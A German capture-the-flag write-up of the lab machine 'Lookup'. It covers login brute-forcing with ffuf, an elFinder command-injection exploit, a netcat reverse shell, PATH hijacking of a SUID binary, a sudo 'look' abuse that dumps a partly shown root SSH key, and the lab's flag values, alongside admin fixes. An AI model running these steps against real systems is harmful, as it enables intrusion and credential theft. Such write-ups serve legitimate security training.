Analyse: Ein benutzerdefiniertes Skript (`recon_script.sh`) wird ausgeführt, das interne Schritte zur Zielidentifikation beinhaltet. Der erste sichtbare Schritt ist ein ARP-Scan.
X=$(./recon_script.sh jenk.nyx) echo $X
192.168.2.164 08:00:27:5a:36:a7 PCS Systemtechnik GmbH
Bewertung: Der Host `192.168.2.164` wird im lokalen Netzwerk gefunden (Oracle VirtualBox).
Empfehlung (Pentester):** Ziel-IPv4 bekannt. Prüfen Sie auf IPv6 und führen Sie Portscans durch.
Empfehlung (Admin):** Standard Netzwerk-Monitoring.
[Inhalt /etc/hosts nach Bearbeitung] ... 192.168.2.164 lookup.hmv ...
Analyse: Der Hostname `lookup.hmv` wird der gefundenen IP in `/etc/hosts` zugeordnet.
Bewertung: Ermöglicht die Verwendung des Hostnamens für weitere Scans und Zugriffe.
Analyse: Das Skript führt eine IPv6-Nachbarerkennung durch und startet einen Nmap-Scan gegen gefundene Adressen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 22:30 CET Nmap scan report for lookup (fe80::a00:27ff:fe5a:36a7) <-- Ziel IPv6 Host is up (0.000078s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:5A:36:A7 (Oracle VirtualBox virtual NIC) Nmap scan report for fe80::acef:d4ff:fea6:85d3 Host is up (0.0064s latency). All 65535 scanned ports on fe80::acef:d4ff:fea6:85d3 are in ignored states. Not shown: 65535 closed tcp ports (reset) MAC Address: AE:EF:D4:A6:85:D3 (Unknown) Nmap scan report for fe80::d0a5:97c8:ee04:6f55 Host is up (0.0000060s latency). All 65535 scanned ports on fe80::d0a5:97c8:ee04:6f55 are in ignored states. Not shown: 65535 closed tcp ports (reset) Nmap done: 4 IP addresses (3 hosts up) scanned in 33.02 seconds
Bewertung: Das Skript identifiziert die Link-Local-IPv6-Adresse (`fe80::a00:27ff:fe5a:36a7`) des Ziels und bestätigt, dass Port 22 (SSH) und 80 (HTTP) auch über IPv6 offen sind.
Empfehlung (Pentester):** IPv6-Erreichbarkeit bestätigt. Fokussieren Sie sich auf die IPv4-Enumeration, behalten Sie IPv6 aber im Hinterkopf.
Empfehlung (Admin):** IPv6-Konfiguration und Firewall-Regeln überprüfen.
Analyse: Ein schneller UDP-Scan der Top 1000 Ports wird durchgeführt.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 22:30 CET Nmap scan report for 192.168.2.164 Host is up (0.00032s latency). Not shown: 995 open|filtered udp ports (no-response) PORT STATE SERVICE 2160/udp closed apc-2160 3401/udp closed squid-snmp 17585/udp closed unknown 18255/udp closed unknown 20146/udp closed unknown MAC Address: 08:00:27:5A:36:A7 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
Bewertung: Der UDP-Scan findet keine offenen Ports unter den Top 1000. Die meisten Ports sind `open|filtered`, was bedeutet, dass Nmap keine Antwort erhielt (typisch für UDP, wenn keine Anwendung lauscht oder eine Firewall blockiert).
Empfehlung (Pentester):** Keine offenen UDP-Dienste in den Top 1000 gefunden. Ein vollständiger UDP-Scan (`-p-`) wäre möglich, ist aber sehr zeitaufwendig und oft wenig ergiebig. Fokus auf TCP.
Empfehlung (Admin):** Gutes Ergebnis, keine unnötigen UDP-Dienste offen.
Analyse: Ein schneller TCP-Scan mit Versionserkennung wird durchgeführt und nach offenen Ports gefiltert.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Analyse Fortsetzung:** Ein vollständiger TCP-Scan mit aggressiver Erkennung wird durchgeführt.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 22:30 CET Nmap scan report for lookup.hmv (192.168.2.164) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA) | 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA) |_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Login Page MAC Address: 08:00:27:5A:36:A7 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms lookup.hmv (192.168.2.164) OS and Service detection performed... Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds
Bewertung: Bestätigt die offenen Ports 22 (OpenSSH 8.2p1 auf Ubuntu) und 80 (Apache 2.4.41 auf Ubuntu). Der Titel der Webseite auf Port 80 lautet "Login Page".
Empfehlung (Pentester):** Fokus auf den Webserver Port 80. Untersuchen Sie die Login-Seite und führen Sie Verzeichnis-Enumeration durch.
Empfehlung (Admin):** SSH und Apache aktuell halten. Sicherheitsmaßnahmen für die Login-Seite implementieren (Rate Limiting, starke Passwörter).
Analyse: `curl` wird verwendet, um die Header der Webseite auf Port 80 abzurufen.
* Trying 192.168.2.164:80... * Connected to 192.168.2.164 (192.168.2.164) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.164 > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off < HTTP/1.1 302 Found < Date: Mon, 27 Jan 2025 21:31:22 GMT < Server: Apache/2.4.41 (Ubuntu) < Location: http://lookup.hmv < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 192.168.2.164 left intact
Bewertung: Der Zugriff auf die IP-Adresse führt zu einer Weiterleitung (`302 Found`) auf den Hostnamen `http://lookup.hmv`. Dies bestätigt die Notwendigkeit des `/etc/hosts`-Eintrags für den Zugriff auf die eigentliche Anwendung.
Empfehlung (Pentester):** Führen Sie alle weiteren Web-Scans und Tests gegen `http://lookup.hmv` durch.
Empfehlung (Admin):** Sicherstellen, dass die Weiterleitung korrekt konfiguriert ist und keine offenen Weiterleitungen (Open Redirects) möglich sind.
Analyse: Nikto wird auf die IP-Adresse ausgeführt (sollte aber gegen den Hostnamen laufen).
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.164 + Target Hostname: 192.168.2.164 + Target Port: 80 + Start Time: 2025-01-27 22:31:24 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. ... + /: The X-Content-Type-Options header is not set. ... + Root page / redirects to: http://lookup.hmv + No CGI Directories found ... + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). ... + 8102 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2025-01-27 22:32:04 (GMT1) (40 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Bewertung: Nikto bestätigt die Weiterleitung und meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) sowie eine veraltete Apache-Version. Keine kritischen Funde.
Empfehlung (Pentester):** Führen Sie Nikto erneut gegen `http://lookup.hmv` aus. Konzentrieren Sie sich auf die Login-Seite.
Empfehlung (Admin):** Sicherheitsheader implementieren, Apache aktualisieren.
Analyse: Gobuster wird gegen die IP-Adresse ausgeführt.
... Gobuster Output ...
http://192.168.2.164/index.php (Status: 302) [Size: 0] [--> http://lookup.hmv]
Bewertung: Der Scan findet nur `index.php`, die auf den Hostnamen weiterleitet. Dies bestätigt, dass Scans gegen den Hostnamen (`lookup.hmv`) durchgeführt werden müssen.
Analyse: Der Quellcode der Login-Seite (`http://lookup.hmv/`) wird angezeigt.
Login Page
form action="login.php" method="post"
Login
Bewertung: Standard-HTML-Login-Formular. Sendet `username` und `password` via POST an `login.php`.
Analyse: Es wird versucht, `robots.txt` abzurufen.
404 Not Found
Not Found
The requested URL was not found on this server.
Apache/2.4.41 (Ubuntu) Server at lookup.hmv Port 80
Bewertung: `robots.txt` existiert nicht (Status 404).
Analyse: Ein erfolgloser Login-Versuch führt zu einer Fehlermeldung.
Wrong password. Please try again. Redirecting in 3 seconds.
Bewertung: Die Fehlermeldung "Wrong password" unterscheidet sich möglicherweise von "Wrong username", was auf eine User Enumeration Schwachstelle hindeuten könnte. Sie gibt auch einen Hinweis für Brute-Force-Filter (`-fr "Wrong password."` für `ffuf`).
Analyse: Der Web-Schwachstellen-Scanner `wapiti` wird auf die Login-Seite ausgeführt.
... (Wapiti Banner) ... [*] Saving scan state, please wait... ... [*] Wapiti found 3 URLs and forms during the scan [*] Loading modules: ... [*] Launching module csp CSP is not set [*] Launching module http_headers Checking X-Frame-Options : X-Frame-Options is not set Checking X-XSS-Protection : X-XSS-Protection is not set Checking X-Content-Type-Options : X-Content-Type-Options is not set Checking Strict-Transport-Security : Strict-Transport-Security is not set [*] Launching module cookieflags ... (Andere Module ohne Funde) ... [*] Launching module ssrf [*] Asking endpoint URL https://wapiti3.ovh/get_ssrf.php?id=... for results, please wait... ... Report ------ A report has been generated in the file /root/.wapiti/generated_report/lookup.hmv_...html ... Summary Category Number of vulnerabilities found --------------------------------------------------------------- Content Security Policy Configuration 1 HTTP Secure Headers 4 ...
Bewertung: `wapiti` findet keine kritischen Schwachstellen wie SQLi oder XSS, bestätigt aber die von `nikto` gefundenen fehlenden Sicherheitsheader (CSP, X-Frame-Options, X-XSS-Protection, X-Content-Type-Options, HSTS).
Empfehlung (Pentester):** Da automatisierte Scanner keine kritischen Lücken finden, konzentrieren Sie sich auf Brute-Force-Angriffe auf das Login und manuelle Tests.
Empfehlung (Admin):** Sicherheitsheader implementieren.
Analyse: Ein Brute-Force-Angriff mit `ffuf` wird auf das Passwort für den Benutzer `admin` durchgeführt. `-d` gibt die POST-Daten an, wobei `PASSWRD` durch Einträge aus `rockyou.txt` ersetzt wird. `-H` setzt den Content-Type Header. `-fr "Wrong password."` filtert Antworten heraus, die auf ein falsches Passwort hindeuten.
... (ffuf Banner) ... ________________________________________________ :: Method : POST :: URL : http://lookup.hmv/login.php :: Wordlist : PASSWRD: /usr/share/wordlists/rockyou.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : username=admin&password=PASSWRD ... :: Filter : Regexp: Wrong password. ________________________________________________ password123 [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 0ms] <-- Erfolg! ...
Bewertung: Der Angriff ist erfolgreich! Das Passwort `password123` für den Benutzer `admin` wird gefunden, da die Antwort nicht den gefilterten Text "Wrong password." enthielt.
Analyse Fortsetzung:** Nachdem das Passwort `password123` bekannt ist, wird ein Brute-Force-Angriff auf den Benutzernamen durchgeführt, um zu sehen, ob andere Benutzer das gleiche Passwort verwenden. `-fr "Wrong username or password."` filtert Fehlermeldungen.
... (ffuf Banner) ... ________________________________________________ :: Method : POST :: URL : http://lookup.hmv/login.php :: Wordlist : USERNAME: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : username=USERNAME&password=password123 ... :: Filter : Regexp: Wrong username or password. ________________________________________________ jose [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2ms] <-- Erfolg! ...
Bewertung: Der Angriff findet einen weiteren Benutzer, `jose`, der ebenfalls das Passwort `password123` verwendet. Der Statuscode `302 Found` deutet auf einen erfolgreichen Login und eine Weiterleitung hin.
Empfehlung (Pentester):** Versuchen Sie, sich als Benutzer `jose` mit dem Passwort `password123` einzuloggen. Untersuchen Sie die Funktionalität, die nach dem Login verfügbar ist.
Empfehlung (Admin):** Erzwingen Sie starke, eindeutige Passwörter. Verbieten Sie die Wiederverwendung von Passwörtern und häufige Passwörter wie "password123". Implementieren Sie Anti-Brute-Force-Maßnahmen (Rate Limiting, Lockout, CAPTCHA).
Analyse: Nach dem Login als `jose` (Schritt nicht gezeigt, aber impliziert) oder durch weitere Enumeration wird die Subdomain `files.lookup.hmv` entdeckt. Diese wird zur lokalen `/etc/hosts`-Datei hinzugefügt.
192.168.2.164 lookup.hmv www.lookup.hmv files.lookup.hmv
Analyse Fortsetzung:** Beim Zugriff auf `http://files.lookup.hmv/` wird eine Instanz von `elFinder` (ein Web-Dateimanager) gefunden, die unter `http://files.lookup.hmv/elFinder/elfinder.html` erreichbar ist.
URL: http://files.lookup.hmv/elFinder/elfinder.html#elf_l1_Lw
Analyse Fortsetzung:** Innerhalb von elFinder wird eine Datei `user.txt` gefunden und deren Inhalt (eine Wortliste) angezeigt oder heruntergeladen.
earthy
fiduciary
weighted
outbound
rycca
show-offs
overcast
packinghouse
swaddle
throbbed
resourcelessness
jazz
nopassword
pectic
agretha
only-begotten
renewable
symmetrical
volumetrically
password123 <-- Bekanntes Passwort
altair
smokestack
superconductor
Bewertung: Die Entdeckung einer elFinder-Instanz ist signifikant, da ältere Versionen oft Schwachstellen aufweisen. Die `user.txt`-Datei scheint hier eher eine Wortliste als ein Flag zu sein und enthält das bereits bekannte Passwort `password123`.
Analyse Fortsetzung:** Mit `searchsploit` wird nach bekannten Exploits für elFinder gesucht.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- elFinder 2 - Remote Command Execution (via File Creation) | php/webapps/36925.py elFinder 2.1.47 - 'PHP connector' Command Injection | php/webapps/46481.py <-- Relevanter Exploit elFinder PHP Connector < 2.1.48 - 'exiftran' Command Inject | php/remote/46539.rb elFinder Web file manager Version - 2.1.53 Remote Command E | php/webapps/51864.txt ------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Bewertung: Mehrere Exploits werden gefunden. Der Exploit `46481.py` für Command Injection im PHP Connector von elFinder < 2.1.48 ist ein vielversprechender Kandidat.
Empfehlung (Pentester):** Laden Sie den Exploit `46481.py` herunter und führen Sie ihn gegen die elFinder-Instanz aus (`python2 46481.py "http://files.lookup.hmv/elFinder/"`). Dieser Exploit lädt typischerweise eine kleine Webshell hoch und versucht, Befehle auszuführen.
Empfehlung (Admin):** Aktualisieren Sie elFinder dringend auf die neueste Version. Entfernen oder beschränken Sie den Zugriff auf elFinder, wenn er nicht unbedingt öffentlich zugänglich sein muss.
Analyse: Der elFinder-Exploit (`46481.py`) wird ausgeführt. Der Exploit lädt eine Datei hoch (wahrscheinlich ein Bild mit eingebettetem PHP-Code oder eine PHP-Datei, die als Bild getarnt ist) und führt dann eine Command Injection aus, um diesen Code zur Ausführung zu bringen.
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$
Bewertung: Der Exploit ist erfolgreich und liefert eine interaktive Shell auf dem Server. Die Shell läuft mit den Rechten des Webserver-Benutzers (`www-data`, wie später bestätigt wird).
Analyse Fortsetzung:** Innerhalb der erhaltenen Shell wird die Python-Version überprüft und eine stabilere Reverse Shell mittels Python zu einem Netcat-Listener aufgebaut.
[Keine Ausgabe, Python 2 nicht gefunden?]
Python 3.8.10
Analyse Fortsetzung:** Der Netcat-Listener empfängt die Verbindung.
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.164] 49030
/bin/sh: 0: can't access tty; job control turned off
$
Bewertung: Der initiale Zugriff als `www-data` wurde erfolgreich über den elFinder-Exploit erlangt und eine stabilere Reverse Shell wurde aufgebaut.
Empfehlung (Pentester):** Führen Sie Enumeration als `www-data` durch. Suchen Sie nach Konfigurationsdateien, Datenbankzugängen, SUID-Dateien, Cronjobs und `sudo`-Rechten.
Empfehlung (Admin):** elFinder patchen oder entfernen. Rechte des Webserver-Benutzers minimieren.
Analyse: In der `www-data`-Shell werden SUID-Dateien gesucht.
... (Standard SUID-Dateien) ... 9154 20 -rwsr-sr-x 1 root root 17176 Jan 11 2024 /usr/sbin/pwm <-- Ungewöhnlich! ... (Standard SUID-Dateien) ...
Bewertung: Eine ungewöhnliche SUID/SGID-Datei `/usr/sbin/pwm` wird gefunden.
Analyse Fortsetzung:** Die Datei `/usr/sbin/pwm` wird näher untersucht.
/usr/sbin/pwm: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01ec8570b00af8889beebc5f93c6d56fb9cc1083, for GNU/Linux 3.2.0, not stripped
/lib64/ld-linux-x86-64.so.2 libc.so.6 ... [!] Running 'id' command to extract the username and user ID (UID) [-] Error executing id command uid=%*u(%[^)]) [-] Error reading username from id command [!] ID: %s /home/%s/.passwords [-] File /home/%s/.passwords not found ...
Bewertung: `pwm` ist eine 64-bit ELF-Datei mit SUID- und SGID-Bit. Die `strings`-Ausgabe zeigt, dass das Programm den `id`-Befehl ausführt, um den aktuellen Benutzernamen zu erhalten, und dann versucht, eine Datei namens `.passwords` im Home-Verzeichnis dieses Benutzers zu öffnen (`/home/%s/.passwords`). Da `pwm` SUID/SGID Root ist und den `id`-Befehl ohne vollständigen Pfad aufruft, ist es anfällig für Path Hijacking.
Analyse Fortsetzung:** Die Path-Hijacking-Schwachstelle wird ausgenutzt: 1. Ein Benutzer (`think`) wird identifiziert (vermutlich durch `ls /home`). 2. Ein bösartiges Skript namens `id` wird in `/tmp` erstellt, das die Ausgabe `uid=1000(think) ...` erzeugt. 3. Dieses Skript wird ausführbar gemacht. 4. `/tmp` wird an den Anfang der `PATH`-Umgebungsvariable gesetzt. 5. `/usr/sbin/pwm` wird ausgeführt.
[Inhalt der Datei /tmp/id] echo "uid=1000(think) gid=1000(think) groups=1000(think)"
[!] Running 'id' command to extract the username and user ID (UID) <-- Führt jetzt /tmp/id aus [!] ID: think jose1006 <-- Inhalt von /home/think/.passwords jose1004 ... thepassword <-- Potenzielles Passwort? ... jose.medina. ...
Bewertung: Der Path-Hijacking-Angriff ist erfolgreich. `pwm` führt `/tmp/id` statt `/usr/bin/id` aus, erhält "think" als Benutzernamen und liest (da es mit Root-Rechten läuft) die Datei `/home/think/.passwords` aus, deren Inhalt ausgegeben wird. Die Liste enthält das Wort `thepassword`, was ein wahrscheinliches Passwort für den Benutzer `think` ist.
Empfehlung (Pentester):** Versuchen Sie, sich per SSH als Benutzer `think` mit dem Passwort `thepassword` anzumelden.
Empfehlung (Admin):** Beheben Sie die Schwachstelle in `pwm`:
* Rufen Sie `id` mit dem vollständigen Pfad `/usr/bin/id` auf.
* Überprüfen Sie, ob das SUID/SGID-Bit für `pwm` wirklich notwendig ist. Wenn nicht, entfernen Sie es (`chmod ug-s /usr/sbin/pwm`).
* Speichern Sie Passwörter niemals im Klartext in Dateien wie `.passwords`. Verwenden Sie Hashing oder sicherere Speichermechanismen.
* Korrigieren Sie die Berechtigungen für `.passwords`, sodass nur der Besitzer darauf zugreifen kann.
Analyse: Es wird versucht, sich per SSH als Benutzer `think` mit dem durch Path Hijacking gefundenen Passwort `thepassword` anzumelden.
think@192.168.2.164's password: [Passwort thepassword eingegeben]
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
...
Last login: Thu Jan 11 20:17:32 2024 from 192.168.1.13
uid=1000(think) gid=1000(think) groups=1000(think)
Bewertung: Der SSH-Login als `think` ist erfolgreich. Der Angreifer hat nun eine Shell als dieser Benutzer.
Empfehlung (Pentester):** Führen Sie Enumeration als `think` durch. Prüfen Sie `sudo -l`. Lesen Sie die User-Flag.
Empfehlung (Admin):** Ändern Sie das Passwort für den Benutzer `think`. Beheben Sie die `pwm`-Schwachstelle.
Analyse: Die `sudo`-Rechte für den Benutzer `think` werden überprüft.
[sudo] password for think: [Passwort thepassword eingegeben] Matching Defaults entries for think on lookup: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User think may run the following commands on lookup: (ALL) /usr/bin/look
Bewertung: Kritischer Fund! `think` darf `/usr/bin/look` als jeder Benutzer (`ALL`), einschließlich Root, ausführen. `look` wird normalerweise verwendet, um Zeilen in einer sortierten Datei zu finden, die mit einem bestimmten String beginnen. Laut GTFOBins kann `look` jedoch missbraucht werden, um beliebige Dateien zu lesen, wenn es mit `sudo` ausgeführt wird.
Analyse Fortsetzung:** Das Passwort für `think` wird geändert (optionaler Schritt).
Changing password for think. Current password: [Passwort thepassword eingegeben] New password: [Neues Passwort] Retype new password: [Neues Passwort] passwd: password updated successfully
Analyse Fortsetzung:** Der GTFOBins-Exploit für `sudo look` wird verwendet, um den privaten SSH-Schlüssel des Root-Benutzers zu lesen.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAptm2+DipVfUMY+7g9Lcmf/h23TCH7qKRg4Penlti9RKW2XLSB5wR
Qcqy1zRFDKtRQGhfTq+YfVfboJBPCfKHdpQqM/zDb//ZlnlwCwKQ5XyTQU/vHfRfU0pnR
... (Key Body) ...
DgTNYtefYf4EpwAAABFyb290QHVidW50dXNlcnZlcg
-----END OPENSSH PRIVATE KEY-----
Bewertung: Der Exploit ist erfolgreich! Der private SSH-Schlüssel des Root-Benutzers wird ausgegeben. Dies ermöglicht den direkten Root-Zugriff.
Analyse Fortsetzung:** Der Root-Schlüssel wird lokal gespeichert (`id_rsa`). Mit `ssh2john` wird geprüft, ob der Schlüssel passwortgeschützt ist.
id_rsa has no password!
Bewertung: Der Root-SSH-Schlüssel ist nicht passwortgeschützt.
Analyse Fortsetzung:** Mit dem Root-SSH-Schlüssel wird sich per SSH als `root` angemeldet.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64) ... Last login: Wed Sep 11 09:24:50 2024
Bewertung: Der SSH-Login als `root` ist erfolgreich. Die Privilegieneskalation wurde abgeschlossen.
Empfehlung (Pentester):** Lesen Sie die Root-Flag.
Empfehlung (Admin):** Entfernen Sie sofort die unsichere `sudo`-Regel für `look`. Erlauben Sie niemals `sudo` für Befehle, die zum Lesen beliebiger Dateien missbraucht werden können. Beschränken Sie den direkten Root-Login per SSH und verwenden Sie stattdessen `sudo` von einem unprivilegierten Konto aus (mit starkem Passwort oder MFA). Schützen Sie private SSH-Schlüssel.
Analyse: Die Flags werden gelesen.
... root.txt ...
5a285a9f257e45c68bb6c9f9f57d18e8
38375fb4dd8baa2b2039ac03d92b820e
Bewertung: Beide Flags wurden erfolgreich ausgelesen.
Kurzbeschreibung: Dieser POC beschreibt die Kette von Schwachstellen: Brute-Force von Login-Credentials, Entdeckung einer Subdomain mit elFinder, Ausnutzung einer bekannten RCE-Schwachstelle in elFinder für Initial Access als `www-data`, Eskalation zu `think` durch Path Hijacking einer SUID-Binary (`pwm`) zum Auslesen von Passwörtern und schließlich Eskalation zu `root` durch Ausnutzung einer unsicheren `sudo`-Regel für `look` zum Lesen des Root-SSH-Keys.
Schwachstellen: Schwache Passwörter, exponierte elFinder-Instanz, elFinder RCE (CVE-...).
Schritte:
Ergebnis: Shell als `www-data`.
Schwachstelle: SUID/SGID Binary `/usr/sbin/pwm` ruft `id` ohne Pfad auf, Klartextpasswörter in `/home/think/.passwords`.
Voraussetzungen: Shell als `www-data`.
Schritte:
Ergebnis: Shell als `think`.
Schwachstelle: Unsichere `sudo`-Regel: `(ALL) /usr/bin/look`.
Voraussetzungen: Shell als `think`.
Schritte (GTFOBins für look):
Ergebnis: Root-Shell.
Beweismittel: Erfolgreicher Root-Login, Lesen von `/root/root.txt` möglich.
Risikobewertung: Sehr hoch. Eine Kette aus schwachen Passwörtern, einer bekannten Webanwendungs-Schwachstelle (elFinder RCE), einer unsicheren SUID-Binary mit Path-Hijacking-Potenzial und unsicheren `sudo`-Regeln ermöglicht die vollständige Kompromittierung.
Empfehlungen:** * **Admin:** Starke Passwörter erzwingen. elFinder patchen/entfernen. SUID-Binary `pwm` sichern (Pfad zu `id` fixen, SUID/SGID entfernen falls möglich) oder entfernen. `.passwords`-Datei löschen, sichere Passwortspeicherung nutzen. `sudo`-Regeln drastisch einschränken (kein `look`). Root-Login per SSH idealerweise deaktivieren. * **Pentester:** Die einzelnen Eskalationspfade und Schwachstellen klar dokumentieren.